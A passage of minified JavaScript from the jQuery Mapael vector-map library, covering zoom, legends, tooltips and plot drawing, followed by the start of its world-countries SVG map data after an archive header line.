n=c.areaMargin!==d?c.areaMargin:10,o=j.areas[c.area].mapElem.getBBox(),p=o.width+2*n,q=o.height+2*n;c.x=o.cx,c.y=o.cy,k=Math.min(Math.floor((j.mapConf.width/p-1)/j.options.map.zoom.step),Math.floor((j.mapConf.height/q-1)/j.options.map.zoom.step))}else if(c.level!==d&&(k="string"==typeof c.level?"+"===c.level.slice(0,1)||"-"===c.level.slice(0,1)?j.zoomData.zoomLevel+parseInt(c.level,10):parseInt(c.level,10):c.level<0?j.zoomData.zoomLevel+c.level:c.level),c.plot!==d){if(j.plots[c.plot]===d)throw new Error("Unknown plot '"+c.plot+"'");c.x=j.plots[c.plot].coords.x,c.y=j.plots[c.plot].coords.y}else{if(c.latitude!==d&&c.longitude!==d){var r=j.mapConf.getCoords(c.latitude,c.longitude);c.x=r.x,c.y=r.y}c.x===d&&(c.x=j.currentViewBox.x+j.currentViewBox.w/2),c.y===d&&(c.y=j.currentViewBox.y+j.currentViewBox.h/2)}k=Math.min(Math.max(k,j.options.map.zoom.minLevel),j.options.map.zoom.maxLevel),i=1+k*j.options.map.zoom.step,g=j.mapConf.width/i,h=j.mapConf.height/i,0===k?(e=0,f=0):(c.fixedCenter!==d&&!0===c.fixedCenter?(e=j.zoomData.panX+(c.x-j.zoomData.panX)*(i-l)/i,f=j.zoomData.panY+(c.y-j.zoomData.panY)*(i-l)/i):(e=c.x-g/2,f=c.y-h/2),e=Math.min(Math.max(0,e),j.mapConf.width-g),f=Math.min(Math.max(0,f),j.mapConf.height-h)),i===l&&e===j.zoomData.panX&&f===j.zoomData.panY||(m>0?j.animateViewBox(e,f,g,h,m,j.options.map.zoom.animEasing):(j.setViewBox(e,f,g,h),clearTimeout(j.zoomTO),j.zoomTO=setTimeout(function(){j.$map.trigger("afterZoom",{x1:e,y1:f,x2:e+g,y2:f+h})},j.zoomFilteringTO)),a.extend(j.zoomData,{zoomLevel:k,panX:e,panY:f,zoomX:e+g/2,zoomY:f+h/2}))},onShowElementsInRange:function(a,b){var c=this;b.animDuration===d&&(b.animDuration=0),b.hiddenOpacity===d&&(b.hiddenOpacity=.3),b.ranges&&b.ranges.area&&c.showElemByRange(b.ranges.area,c.areas,b.hiddenOpacity,b.animDuration),b.ranges&&b.ranges.plot&&c.showElemByRange(b.ranges.plot,c.plots,b.hiddenOpacity,b.animDuration),b.ranges&&b.ranges.link&&c.showElemByRange(b.ranges.link,c.links,b.hiddenOpacity,b.animDuration),b.afterShowRange&&b.afterShowRange()},showElemByRange:function(b,c,e,f){var g=this,h={};b.min===d&&b.max===d||(b={0:b}),a.each(b,function(f){var g=b[f];if(g.min===d&&g.max===d)return!0;a.each(c,function(a){var b=c[a].options.value;if("object"!=typeof b&&(b=[b]),b[f]===d)return!0;g.min!==d&&b[f]<g.min||g.max!==d&&b[f]>g.max?h[a]=e:h[a]=1})}),a.each(h,function(a){g.setElementOpacity(c[a],h[a],f)})},setElementOpacity:function(a,b,c){var d=this;b>0&&(a.mapElem.show(),a.textElem&&a.textElem.show()),d.animate(a.mapElem,{opacity:b},c,function(){0===b&&a.mapElem.hide()}),d.animate(a.textElem,{opacity:b},c,function(){0===b&&a.textElem.hide()})},onUpdateEvent:function(b,c){var e=this;if("object"==typeof c){var f=0,g=c.animDuration?c.animDuration:0,h=function(a){e.animate(a.mapElem,{opacity:0},g,function(){a.mapElem.remove()}),e.animate(a.textElem,{opacity:0},g,function(){a.textElem.remove()})},i=function(a){a.mapElem.attr({opacity:0}),a.textElem&&a.textElem.attr({opacity:0}),e.setElementOpacity(a,a.mapElem.originalAttrs.opacity!==d?a.mapElem.originalAttrs.opacity:1,g)};if("object"==typeof c.mapOptions&&(!0===c.replaceOptions?e.options=e.extendDefaultOptions(c.mapOptions):a.extend(!0,e.options,c.mapOptions),c.mapOptions.areas===d&&c.mapOptions.plots===d&&c.mapOptions.legend===d||a("[data-type='legend-elem']",e.$container).each(function(b,c){"1"===a(c).attr("data-hidden")&&a(c).trigger("click",{hideOtherElems:!1,animDuration:g})})),"object"==typeof c.deletePlotKeys)for(;f<c.deletePlotKeys.length;f++)e.plots[c.deletePlotKeys[f]]!==d&&(h(e.plots[c.deletePlotKeys[f]]),delete e.plots[c.deletePlotKeys[f]]);else"all"===c.deletePlotKeys&&(a.each(e.plots,function(a,b){h(b)}),e.plots={});if("object"==typeof c.deleteLinkKeys)for(f=0;f<c.deleteLinkKeys.length;f++)e.links[c.deleteLinkKeys[f]]!==d&&(h(e.links[c.deleteLinkKeys[f]]),delete e.links[c.deleteLinkKeys[f]]);else"all"===c.deleteLinkKeys&&(a.each(e.links,function(a,b){h(b)}),e.links={});if("object"==typeof c.newPlots&&a.each(c.newPlots,function(a){e.plots[a]===d&&(e.options.plots[a]=c.newPlots[a],e.plots[a]=e.drawPlot(a),g>0&&i(e.plots[a]))}),"object"==typeof c.newLinks){var j=e.drawLinksCollection(c.newLinks);a.extend(e.links,j),a.extend(e.options.links,c.newLinks),g>0&&a.each(j,function(a){i(j[a])})}if(a.each(e.areas,function(a){("object"==typeof c.mapOptions&&("object"==typeof c.mapOptions.map&&"object"==typeof c.mapOptions.map.defaultArea||"object"==typeof c.mapOptions.areas&&"object"==typeof c.mapOptions.areas[a]||"object"==typeof c.mapOptions.legend&&"object"==typeof c.mapOptions.legend.area)||!0===c.replaceOptions)&&(e.areas[a].options=e.getElemOptions(e.options.map.defaultArea,e.options.areas[a]?e.options.areas[a]:{},e.options.legend.area),e.updateElem(e.areas[a],g))}),a.each(e.plots,function(a){("object"==typeof c.mapOptions&&("object"==typeof c.mapOptions.map&&"object"==typeof c.mapOptions.map.defaultPlot||"object"==typeof c.mapOptions.plots&&"object"==typeof c.mapOptions.plots[a]||"object"==typeof c.mapOptions.legend&&"object"==typeof c.mapOptions.legend.plot)||!0===c.replaceOptions)&&(e.plots[a].options=e.getElemOptions(e.options.map.defaultPlot,e.options.plots[a]?e.options.plots[a]:{},e.options.legend.plot),e.setPlotCoords(e.plots[a]),e.setPlotAttributes(e.plots[a]),e.updateElem(e.plots[a],g))}),a.each(e.links,function(a){("object"==typeof c.mapOptions&&("object"==typeof c.mapOptions.map&&"object"==typeof c.mapOptions.map.defaultLink||"object"==typeof c.mapOptions.links&&"object"==typeof c.mapOptions.links[a])||!0===c.replaceOptions)&&(e.links[a].options=e.getElemOptions(e.options.map.defaultLink,e.options.links[a]?e.options.links[a]:{},{}),e.updateElem(e.links[a],g))}),c.mapOptions&&("object"==typeof c.mapOptions.legend||"object"==typeof c.mapOptions.map&&"object"==typeof c.mapOptions.map.defaultArea||"object"==typeof c.mapOptions.map&&"object"==typeof c.mapOptions.map.defaultPlot)&&(a("[data-type='legend-elem']",e.$container).each(function(b,c){"1"===a(c).attr("data-hidden")&&a(c).trigger("click",{hideOtherElems:!1,animDuration:g})}),e.createLegends("area",e.areas,1),e.options.map.width?e.createLegends("plot",e.plots,e.options.map.width/e.mapConf.width):e.createLegends("plot",e.plots,e.$map.width()/e.mapConf.width)),"object"==typeof c.setLegendElemsState)a.each(c.setLegendElemsState,function(b,c){var f=e.$container.find("."+b)[0];f!==d&&a("[data-type='legend-elem']",f).each(function(b,d){("0"===a(d).attr("data-hidden")&&"hide"===c||"1"===a(d).attr("data-hidden")&&"show"===c)&&a(d).trigger("click",{hideOtherElems:!1,animDuration:g})})});else{var k="hide"===c.setLegendElemsState?"hide":"show";a("[data-type='legend-elem']",e.$container).each(function(b,c){("0"===a(c).attr("data-hidden")&&"hide"===k||"1"===a(c).attr("data-hidden")&&"show"===k)&&a(c).trigger("click",{hideOtherElems:!1,animDuration:g})})}e.initDelegatedCustomEvents(),c.afterUpdate&&c.afterUpdate(e.$container,e.paper,e.areas,e.plots,e.options,e.links)}},setPlotCoords:function(a){var b=this;if(a.options.x!==d&&a.options.y!==d)a.coords={x:a.options.x,y:a.options.y};else if(a.options.plotsOn!==d&&b.areas[a.options.plotsOn]!==d){var c=b.areas[a.options.plotsOn].mapElem.getBBox();a.coords={x:c.cx,y:c.cy}}else a.coords=b.mapConf.getCoords(a.options.latitude,a.options.longitude)},setPlotAttributes:function(a){"square"===a.options.type?(a.options.attrs.width=a.options.size,a.options.attrs.height=a.options.size,a.options.attrs.x=a.coords.x-a.options.size/2,a.options.attrs.y=a.coords.y-a.options.size/2):"image"===a.options.type?(a.options.attrs.src=a.options.url,a.options.attrs.width=a.options.width,a.options.attrs.height=a.options.height,a.options.attrs.x=a.coords.x-a.options.width/2,a.options.attrs.y=a.coords.y-a.options.height/2):"svg"===a.options.type?(a.options.attrs.path=a.options.path,a.options.attrs.transform===d&&(a.options.attrs.transform=""),a.mapElem.originalBBox===d&&(a.mapElem.originalBBox=a.mapElem.getBBox()),a.mapElem.baseTransform="m"+a.options.width/a.mapElem.originalBBox.width+",0,0,"+a.options.height/a.mapElem.originalBBox.height+","+(a.coords.x-a.options.width/2)+","+(a.coords.y-a.options.height/2),a.options.attrs.transform=a.mapElem.baseTransform+a.options.attrs.transform):(a.options.attrs.x=a.coords.x,a.options.attrs.y=a.coords.y,a.options.attrs.r=a.options.size/2)},drawLinksCollection:function(b){var c=this,e={},f={},g={},h={},i={};return a.each(b,function(a){var j=c.getElemOptions(c.options.map.defaultLink,b[a],{});if(e="string"==typeof b[a].between[0]?c.options.plots[b[a].between[0]]:b[a].between[0],f="string"==typeof b[a].between[1]?c.options.plots[b[a].between[1]]:b[a].between[1],e.plotsOn!==d&&c.areas[e.plotsOn]!==d){var k=c.areas[e.plotsOn].mapElem.getBBox();g={x:k.cx,y:k.cy}}else e.latitude!==d&&e.longitude!==d?g=c.mapConf.getCoords(e.latitude,e.longitude):(g.x=e.x,g.y=e.y);if(f.plotsOn!==d&&c.areas[f.plotsOn]!==d){var l=c.areas[f.plotsOn].mapElem.getBBox();h={x:l.cx,y:l.cy}}else f.latitude!==d&&f.longitude!==d?h=c.mapConf.getCoords(f.latitude,f.longitude):(h.x=f.x,h.y=f.y);i[a]=c.drawLink(a,g.x,g.y,h.x,h.y,j)}),i},drawLink:function(a,b,c,d,e,f){var g=this,h={options:f},i=(b+d)/2,j=(c+e)/2,k=-1/((e-c)/(d-b)),l=j-k*i,m=Math.sqrt((d-b)*(d-b)+(e-c)*(e-c)),n=1+k*k,o=-2*i+2*k*l-2*k*j,p=i*i+l*l-l*j-j*l+j*j-f.factor*m*(f.factor*m),q=o*o-4*n*p,r=0,s=0;return f.factor>0?(r=(-o+Math.sqrt(q))/(2*n),s=k*r+l):(r=(-o-Math.sqrt(q))/(2*n),s=k*r+l),h.mapElem=g.paper.path("m "+b+","+c+" C "+r+","+s+" "+d+","+e+" "+d+","+e),g.initElem(a,"link",h),h},isAttrsChanged:function(a,b){for(var c in b)if(b.hasOwnProperty(c)&&void 0===a[c]||b[c]!==a[c])return!0;return!1},updateElem:function(b,c){var e,f,g,h=this;if(!0===b.options.toFront&&b.mapElem.toFront(),b.options.href!==d?(b.options.attrs.cursor="pointer",b.options.text&&(b.options.text.attrs.cursor="pointer")):"pointer"===b.mapElem.attrs.cursor&&(b.options.attrs.cursor="auto",b.options.text&&(b.options.text.attrs.cursor="auto")),b.textElem){b.options.text.attrs.text=b.options.text.content,e=b.mapElem.getBBox(),(b.options.size||b.options.width&&b.options.height)&&("image"===b.options.type||"svg"===b.options.type?(f=(b.options.width-e.width)/2,g=(b.options.height-e.height)/2):(f=(b.options.size-e.width)/2,g=(b.options.size-e.height)/2),e.x-=f,e.x2+=f,e.y-=g,e.y2+=g);var i=h.getTextPosition(e,b.options.text.position,b.options.text.margin);b.options.text.attrs.x=i.x,b.options.text.attrs.y=i.y,b.options.text.attrs["text-anchor"]=i.textAnchor,h.setHoverOptions(b.textElem,b.options.text.attrs,b.options.text.attrsHover),h.isAttrsChanged(b.textElem.attrs,b.options.text.attrs)&&h.animate(b.textElem,b.options.text.attrs,c)}h.setHoverOptions(b.mapElem,b.options.attrs,b.options.attrsHover),h.isAttrsChanged(b.mapElem.attrs,b.options.attrs)&&h.animate(b.mapElem,b.options.attrs,c),b.options.cssClass!==d&&a(b.mapElem.node).removeClass().addClass(b.options.cssClass)},drawPlot:function(a){var b=this,c={};return c.options=b.getElemOptions(b.options.map.defaultPlot,b.options.plots[a]?b.options.plots[a]:{},b.options.legend.plot),b.setPlotCoords(c),"svg"===c.options.type&&(c.mapElem=b.paper.path(c.options.path)),b.setPlotAttributes(c),"square"===c.options.type?c.mapElem=b.paper.rect(c.options.attrs.x,c.options.attrs.y,c.options.attrs.width,c.options.attrs.height):"image"===c.options.type?c.mapElem=b.paper.image(c.options.attrs.src,c.options.attrs.x,c.options.attrs.y,c.options.attrs.width,c.options.attrs.height):"svg"===c.options.type||(c.mapElem=b.paper.circle(c.options.attrs.x,c.options.attrs.y,c.options.attrs.r)),b.initElem(a,"plot",c),c},setEventHandlers:function(b,c,e){var f=this;a.each(e.options.eventHandlers,function(a){f.customEventHandlers[a]===d&&(f.customEventHandlers[a]={}),f.customEventHandlers[a][c]===d&&(f.customEventHandlers[a][c]={}),f.customEventHandlers[a][c][b]=e})},drawLegend:function(c,e,f,g,h){var i=this,j={},k={},l=0,m=0,n=null,o=null,p={},q=0,r=0,s=0,t=0,u=[];j=a("."+c.cssClass,i.$container);var v=j.html();for(j.empty(),k=new b(j.get(0)),a(k.canvas).attr({"data-legend-type":e,"data-legend-id":h}),m=l=0,c.title&&""!==c.title&&(n=k.text(c.marginLeftTitle,0,c.title).attr(c.titleAttrs),o=n.getBBox(),n.attr({y:.5*o.height}),l=c.marginLeftTitle+o.width,m+=c.marginBottomTitle+o.height),q=0;q<c.slices.length;++q){var w=0;u[q]=a.extend(!0,{},"plot"===e?i.options.map.defaultPlot:i.options.map.defaultArea,c.slices[q]),c.slices[q].legendSpecificAttrs===d&&(c.slices[q].legendSpecificAttrs={}),a.extend(!0,u[q].attrs,c.slices[q].legendSpecificAttrs),"area"===e?(u[q].attrs.width===d&&(u[q].attrs.width=30),u[q].attrs.height===d&&(u[q].attrs.height=20)):"square"===u[q].type?(u[q].attrs.width===d&&(u[q].attrs.width=u[q].size),u[q].attrs.height===d&&(u[q].attrs.height=u[q].size)):"image"===u[q].type||"svg"===u[q].type?(u[q].attrs.width===d&&(u[q].attrs.width=u[q].width),u[q].attrs.height===d&&(u[q].attrs.height=u[q].height)):u[q].attrs.r===d&&(u[q].attrs.r=u[q].size/2),w=c.marginBottomTitle,n&&(w+=o.height),"plot"!==e||u[q].type!==d&&"circle"!==u[q].type?w+=g*u[q].attrs.height/2:w+=g*u[q].attrs.r,t=Math.max(t,w)}for("horizontal"===c.mode&&(l=c.marginLeft),q=0;q<u.length;++q){var x={},y={},z={};if(u[q].display===d||!0===u[q].display){if("area"===e?("horizontal"===c.mode?(r=l+c.marginLeft,s=t-.5*g*u[q].attrs.height):(r=c.marginLeft,s=m),x=k.rect(r,s,g*u[q].attrs.width,g*u[q].attrs.height)):"square"===u[q].type?("horizontal"===c.mode?(r=l+c.marginLeft,s=t-.5*g*u[q].attrs.height):(r=c.marginLeft,s=m),x=k.rect(r,s,g*u[q].attrs.width,g*u[q].attrs.height)):"image"===u[q].type||"svg"===u[q].type?("horizontal"===c.mode?(r=l+c.marginLeft,s=t-.5*g*u[q].attrs.height):(r=c.marginLeft,s=m),"image"===u[q].type?x=k.image(u[q].url,r,s,g*u[q].attrs.width,g*u[q].attrs.height):(x=k.path(u[q].path),u[q].attrs.transform===d&&(u[q].attrs.transform=""),y=x.getBBox(),u[q].attrs.transform="m"+g*u[q].width/y.width+",0,0,"+g*u[q].height/y.height+","+r+","+s+u[q].attrs.transform)):("horizontal"===c.mode?(r=l+c.marginLeft+g*u[q].attrs.r,s=t):(r=c.marginLeft+g*u[q].attrs.r,s=m+g*u[q].attrs.r),x=k.circle(r,s,g*u[q].attrs.r)),delete u[q].attrs.width,delete u[q].attrs.height,delete u[q].attrs.r,x.attr(u[q].attrs),y=x.getBBox(),"horizontal"===c.mode?(r=l+c.marginLeft+y.width+c.marginLeftLabel,s=t):(r=c.marginLeft+y.width+c.marginLeftLabel,s=m+y.height/2),z=k.text(r,s,u[q].label).attr(c.labelAttrs),"horizontal"===c.mode){var A=c.marginBottom+y.height;l+=c.marginLeft+y.width+c.marginLeftLabel+z.getBBox().width,"image"!==u[q].type&&"area"!==e&&(A+=c.marginBottomTitle),n&&(A+=o.height),m=Math.max(m,A)}else l=Math.max(l,c.marginLeft+y.width+c.marginLeftLabel+z.getBBox().width),m+=c.marginBottom+y.height;a(x.node).attr({"data-legend-id":h,"data-legend-type":e,"data-type":"legend-elem","data-id":q,"data-hidden":0}),a(z.node).attr({"data-legend-id":h,"data-legend-type":e,"data-type":"legend-label","data-id":q,"data-hidden":0}),p[q]={mapElem:x,textElem:z},c.hideElemsOnClick.enabled&&(z.attr({cursor:"pointer"}),x.attr({cursor:"pointer"}),i.setHoverOptions(x,u[q].attrs,u[q].attrs),i.setHoverOptions(z,c.labelAttrs,c.labelAttrsHover),u[q].clicked!==d&&!0===u[q].clicked&&i.handleClickOnLegendElem(p[q],q,h,e,{hideOtherElems:!1}))}}return"SVG"!==b.type&&c.VMLWidth&&(l=c.VMLWidth),k.setSize(l,m),{container:j,initialHTMLContent:v,elems:p}},handleClickOnLegendElem:function(b,c,e,f,g){var h,i=this;g=g||{},h=a.isArray(i.options.legend[f])?i.options.legend[f][e]:i.options.legend[f];var j=b.mapElem,k=b.textElem,l=a(j.node),m=a(k.node),n=h.slices[c],o="area"===f?i.areas:i.plots,p=g.animDuration!==d?g.animDuration:h.hideElemsOnClick.animDuration,q=l.attr("data-hidden"),r="0"===q?{"data-hidden":"1"}:{"data-hidden":"0"};"0"===q?i.animate(k,{opacity:.5},p):i.animate(k,{opacity:1},p),a.each(o,function(b){var c,f=o[b].mapElem.data("hidden-by");f===d&&(f={}),c=a.isArray(o[b].options.value)?o[b].options.value[e]:o[b].options.value,i.getLegendSlice(c,h)===n&&("0"===q?(f[e]=!0,i.setElementOpacity(o[b],h.hideElemsOnClick.opacity,p)):(delete f[e],a.isEmptyObject(f)&&i.setElementOpacity(o[b],o[b].mapElem.originalAttrs.opacity!==d?o[b].mapElem.originalAttrs.opacity:1,p)),o[b].mapElem.data("hidden-by",f))}),l.attr(r),m.attr(r),g.hideOtherElems!==d&&!0!==g.hideOtherElems||!0!==h.exclusive||a("[data-type='legend-elem'][data-hidden=0]",i.$container).each(function(){var b=a(this);b.attr("data-id")!==c&&b.trigger("click",{hideOtherElems:!1})})},createLegends:function(b,c,d){var e=this,f=e.options.legend[b];a.isArray(e.options.legend[b])||(f=[e.options.legend[b]]),e.legends[b]={};for(var g=0;g<f.length;++g)!0===f[g].display&&a.isArray(f[g].slices)&&f[g].slices.length>0&&""!==f[g].cssClass&&0!==a("."+f[g].cssClass,e.$container).length&&(e.legends[b][g]=e.drawLegend(f[g],b,c,d,g))},setHoverOptions:function(c,d,e){"SVG"!==b.type&&delete e.transform,c.attrsHover=e,c.attrsHover.transform?c.originalAttrs=a.extend({transform:"s1"},d):c.originalAttrs=d},elemEnter:function(a){var b=this;if(a!==d){if(a.mapElem!==d&&b.animate(a.mapElem,a.mapElem.attrsHover,a.mapElem.attrsHover.animDuration),a.textElem!==d&&b.animate(a.textElem,a.textElem.attrsHover,a.textElem.attrsHover.animDuration),a.options&&a.options.tooltip!==d){var c="";b.$tooltip.removeClass().addClass(b.options.map.tooltip.cssClass),a.options.tooltip.content!==d&&(c="function"==typeof a.options.tooltip.content?a.options.tooltip.content(a.mapElem):a.options.tooltip.content),a.options.tooltip.cssClass!==d&&b.$tooltip.addClass(a.options.tooltip.cssClass),b.$tooltip.html(c).css("display","block")}a.mapElem===d&&a.textElem===d||b.paper.safari&&b.paper.safari()}},elemHover:function(a,b){var c=this;if(a!==d&&a.options.tooltip!==d){var e=b.pageX,f=b.pageY,g=10,h=20;"object"==typeof a.options.tooltip.offset&&(void 0!==a.options.tooltip.offset.left&&(g=a.options.tooltip.offset.left),void 0!==a.options.tooltip.offset.top&&(h=a.options.tooltip.offset.top));var i={left:Math.min(c.$map.width()-c.$tooltip.outerWidth()-5,e-c.$map.offset().left+g),top:Math.min(c.$map.height()-c.$tooltip.outerHeight()-5,f-c.$map.offset().top+h)};"object"==typeof a.options.tooltip.overflow&&(!0===a.options.tooltip.overflow.right&&(i.left=e-c.$map.offset().left+10),!0===a.options.tooltip.overflow.bottom&&(i.top=f-c.$map.offset().top+20)),c.$tooltip.css(i)}},elemOut:function(a){var b=this;a!==d&&(a.mapElem!==d&&b.animate(a.mapElem,a.mapElem.originalAttrs,a.mapElem.attrsHover.animDuration),a.textElem!==d&&b.animate(a.textElem,a.textElem.originalAttrs,a.textElem.attrsHover.animDuration),a.options&&a.options.tooltip!==d&&b.$tooltip.css({display:"none",top:-1e3,left:-1e3}),a.mapElem===d&&a.textElem===d||b.paper.safari&&b.paper.safari())},elemClick:function(a){var b=this;a!==d&&(b.panning||a.options.href===d||window.open(a.options.href,a.options.target))},getElemOptions:function(b,c,e){var f=this,g=a.extend(!0,{},b,c);if(g.value!==d)if(a.isArray(e))for(var h=0;h<e.length;++h)g=a.extend(!0,{},g,f.getLegendSlice(g.value[h],e[h]));else g=a.extend(!0,{},g,f.getLegendSlice(g.value,e));return g},getTextPosition:function(a,b,c){var d=0,e=0,f="";switch("number"==typeof c&&(c="bottom"===b||"top"===b?{x:0,y:c}:"right"===b||"left"===b?{x:c,y:0}:{x:0,y:0}),b){case"bottom":d=(a.x+a.x2)/2+c.x,e=a.y2+c.y,f="middle";break;case"top":d=(a.x+a.x2)/2+c.x,e=a.y-c.y,f="middle";break;case"left":d=a.x-c.x,e=(a.y+a.y2)/2+c.y,f="end";break;case"right":d=a.x2+c.x,e=(a.y+a.y2)/2+c.y,f="start";break;default:d=(a.x+a.x2)/2+c.x,e=(a.y+a.y2)/2+c.y,f="middle"}return{x:d,y:e,textAnchor:f}},getLegendSlice:function(a,b){for(var c=0;c<b.slices.length;++c)if(b.slices[c].sliceValue!==d&&a===b.slices[c].sliceValue||b.slices[c].sliceValue===d&&(b.slices[c].min===d||a>=b.slices[c].min)&&(b.slices[c].max===d||a<=b.slices[c].max))return b.slices[c];return{}},animateViewBox:function(a,c,d,e,f,g){var h=this,i=h.currentViewBox.x,j=a-i,k=h.currentViewBox.y,l=c-k,m=h.currentViewBox.w,n=d-m,o=h.currentViewBox.h,p=e-o;h.zoomAnimCVBTarget||(h.zoomAnimCVBTarget={x:a,y:c,w:d,h:e});var q=m>d?"in":"out",r=b.easing_formulas[g||"linear"],s=f-2*f/100,t=h.zoomAnimStartTime;h.zoomAnimStartTime=(new Date).getTime();var u=function(){h.cancelAnimationFrame(h.zoomAnimID);var b=(new Date).getTime()-h.zoomAnimStartTime;if(b<s){var g,v,w,x;if(t&&h.zoomAnimCVBTarget&&h.zoomAnimCVBTarget.w!==d){var y=(new Date).getTime()-t,z=r(y/f);g=i+(h.zoomAnimCVBTarget.x-i)*z,v=k+(h.zoomAnimCVBTarget.y-k)*z,w=m+(h.zoomAnimCVBTarget.w-m)*z,x=o+(h.zoomAnimCVBTarget.h-o)*z,i=g,j=a-i,k=v,l=c-k,m=w,n=d-m,o=x,p=e-o,h.zoomAnimCVBTarget={x:a,y:c,w:d,h:e}}else{var A=r(b/f);g=i+j*A,v=k+l*A,w=m+n*A,x=o+p*A}"in"===q&&(w>h.currentViewBox.w||w<d)||"out"===q&&(w<h.currentViewBox.w||w>d)||h.setViewBox(g,v,w,x),h.zoomAnimID=h.requestAnimationFrame(u)}else h.zoomAnimStartTime=null,h.zoomAnimCVBTarget=null,h.currentViewBox.w!==d&&h.setViewBox(a,c,d,e),h.$map.trigger("afterZoom",{x1:a,y1:c,x2:a+d,y2:c+e})};u()},
requestAnimationFrame:function(a){return this._requestAnimationFrameFn.call(window,a)},cancelAnimationFrame:function(a){this._cancelAnimationFrameFn.call(window,a)},_requestAnimationFrameFn:function(){var a=function(){var b=(new Date).getTime();return function(c){var d=(new Date).getTime();if(!(d-b>16))return setTimeout(function(){a(c)},0);b=d,c(d)}}();return window.requestAnimationFrame||window.webkitRequestAnimationFrame||window.mozRequestAnimationFrame||window.msRequestAnimationFrame||window.oRequestAnimationFrame||a}(),_cancelAnimationFrameFn:function(){return window.cancelAnimationFrame||window.webkitCancelAnimationFrame||window.webkitCancelRequestAnimationFrame||window.mozCancelAnimationFrame||window.mozCancelRequestAnimationFrame||window.msCancelAnimationFrame||window.msCancelRequestAnimationFrame||window.oCancelAnimationFrame||window.oCancelRequestAnimationFrame||clearTimeout}(),setViewBox:function(a,b,c,d){var e=this;e.currentViewBox.x=a,e.currentViewBox.y=b,e.currentViewBox.w=c,e.currentViewBox.h=d,e.paper.setViewBox(a,b,c,d,!1)},_nonAnimatedAttrs:["arrow-end","arrow-start","gradient","class","cursor","text-anchor","font","font-family","font-style","font-weight","letter-spacing","src","href","target","title","stroke-dasharray","stroke-linecap","stroke-linejoin","stroke-miterlimit"],animate:function(a,b,c,e){var f=this;if(a)if(c>0){for(var g={},h=0;h<f._nonAnimatedAttrs.length;h++){var i=f._nonAnimatedAttrs[h];b[i]!==d&&(g[i]=b[i])}a.attr(g),a.animate(b,c,"linear",function(){e&&e()})}else a.attr(b),e&&e()},isRaphaelBBoxBugPresent:function(){var a=this,b=a.paper.text(-50,-50,"TEST"),c=b.getBBox();return b.remove(),0===c.width&&0===c.height},defaultOptions:{map:{cssClass:"map",tooltip:{cssClass:"mapTooltip"},defaultArea:{attrs:{fill:"#343434",stroke:"#5d5d5d","stroke-width":1,"stroke-linejoin":"round"},attrsHover:{fill:"#548b0f",animDuration:300},text:{position:"inner",margin:10,attrs:{"font-size":15,fill:"#c7c7c7"},attrsHover:{fill:"#eaeaea",animDuration:300}},target:"_self",cssClass:"area"},defaultPlot:{type:"circle",size:15,attrs:{fill:"#2d3ebc",stroke:"#fff","stroke-width":0,"stroke-linejoin":"round"},attrsHover:{"stroke-width":3,animDuration:300},text:{position:"right",margin:10,attrs:{"font-size":15,fill:"#c7c7c7"},attrsHover:{fill:"#eaeaea",animDuration:300}},target:"_self",cssClass:"plot"},defaultLink:{factor:.5,attrs:{stroke:"#2d3ebc","stroke-width":2},attrsHover:{animDuration:300},text:{position:"inner",margin:10,attrs:{"font-size":15,fill:"#c7c7c7"},attrsHover:{fill:"#eaeaea",animDuration:300}},target:"_self",cssClass:"link"},zoom:{enabled:!1,minLevel:0,maxLevel:10,step:.25,mousewheel:!0,touch:!0,animDuration:200,animEasing:"linear",buttons:{reset:{cssClass:"zoomButton zoomReset",content:"&#8226;",title:"Reset zoom"},in:{cssClass:"zoomButton zoomIn",content:"+",title:"Zoom in"},out:{cssClass:"zoomButton zoomOut",content:"&#8722;",title:"Zoom out"}}}},legend:{redrawOnResize:!0,area:[],plot:[]},areas:{},plots:{},links:{}},legendDefaultOptions:{area:{cssClass:"areaLegend",display:!0,marginLeft:10,marginLeftTitle:5,marginBottomTitle:10,marginLeftLabel:10,marginBottom:10,titleAttrs:{"font-size":16,fill:"#343434","text-anchor":"start"},labelAttrs:{"font-size":12,fill:"#343434","text-anchor":"start"},labelAttrsHover:{fill:"#787878",animDuration:300},hideElemsOnClick:{enabled:!0,opacity:.2,animDuration:300},slices:[],mode:"vertical"},plot:{cssClass:"plotLegend",display:!0,marginLeft:10,marginLeftTitle:5,marginBottomTitle:10,marginLeftLabel:10,marginBottom:10,titleAttrs:{"font-size":16,fill:"#343434","text-anchor":"start"},labelAttrs:{"font-size":12,fill:"#343434","text-anchor":"start"},labelAttrsHover:{fill:"#787878",animDuration:300},hideElemsOnClick:{enabled:!0,opacity:.2,animDuration:300},slices:[],mode:"vertical"}}},e.version="2.2.0",a.mapael===d&&(a.mapael=e),a.fn.mapael=function(b){return this.each(function(){a.data(this,"mapael")&&a.data(this,"mapael").destroy(),a.data(this,"mapael",new e(this,b))})},e});vendor/mapael/maps/world_countries.min.js000066600000505216151150443020014612 0ustar00!function(a){"object"==typeof exports?module.exports=a(require("jquery"),require("jquery-mapael")):"function"==typeof define&&define.amd?define(["jquery","mapael"],a):a(jQuery,jQuery.mapael)}(function(a,b){"use strict";return a.extend(!0,b,{maps:{world_countries:{width:999.29852,height:392.03476,getCoords:function(a,b){return{x:2.775076875916*b+471.505926315,y:-2.8112860731578*a+235.89691962022}},elems:{PE:"m 246.37,248.26 c 0.32,-1.79 4.23,-4.35 2.73,-1.46 -1.45,2.09 2.59,0.39 3.11,2.75 2.72,-1.13 1.47,-5.5 4.96,-5.95 3.11,-0.83 7.69,-4.81 5.11,-7.43 2.35,-1.19 4.43,3.08 6.14,4.56 0.7,2.08 3.04,2.21 4.97,1.17 2.11,-0.15 5.75,1.18 2.69,3.69 -0.51,0.71 3.29,2.56 0.76,1.93 -3.16,0.08 -7.44,1.58 -7.92,5.32 -0.06,2.05 -3.42,3.58 -1.21,5.52 0.76,1.37 2.13,3 1.77,3.78 2.26,0.16 3.53,3.49 5.91,0.61 2.26,-1.86 -1.32,6.12 2.9,3.61 2.5,1.32 3.37,4.79 2.23,7.29 0.95,2.52 -2.79,6.04 0.3,7.72 -0.57,1.85 -2.55,3 -2.55,4.98 -3.44,2.21 -5.57,-4.41 -9.39,-4.56 -3.34,-1.31 -6.28,-3.43 -8.43,-6.26 0.32,-1.93 -1.53,-4.59 -2.66,-7.02 -2.53,-2.81 -3.15,-7.33 -5.63,-10.49 -0.47,-3 -4.42,-4.05 -5.21,-5.89 1.88,0.13 -1.01,-3.15 -0.55,-3.87 z",BF:"m 456.58,206.27 c 1.04,-2.27 -0.4,-4.54 2.65,-4.79 0.7,-1.85 0.88,-4.37 3.11,-3.1 0.83,-0.73 0.44,-1.27 1.59,-1.56 1.43,-1.81 4.2,-2.03 6.48,-3.6 